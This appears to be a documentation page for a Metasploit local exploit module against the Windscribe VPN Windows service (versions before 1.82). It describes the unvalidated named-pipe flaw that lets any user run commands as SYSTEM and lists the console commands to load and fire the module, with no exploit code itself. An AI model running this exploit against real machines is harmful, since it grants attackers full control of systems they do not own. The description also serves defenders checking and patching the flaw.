Windscribe WindscribeService Named Pipe Privilege Escalation



The Windscribe VPN client application for Windows makes use of a Windows service `WindscribeService.exe` which exposes a named pipe `\.\pipe\WindscribeService` allowing execution of programs with elevated privileges. Windscribe versions prior to 1.82 do not validate user-supplied program names, allowing execution of arbitrary commands as SYSTEM. This module has been tested successfully on Windscribe versions 1.80 and 1.81 on Windows 7 SP1 (x64).

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/local/windscribe_windscribeservice_priv_esc
msf exploit(windscribe_windscribeservice_priv_esc) > show targets
msf exploit(windscribe_windscribeservice_priv_esc) > set TARGET < target-id >
msf exploit(windscribe_windscribeservice_priv_esc) > show options
    ...show and set options...
msf exploit(windscribe_windscribeservice_priv_esc) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
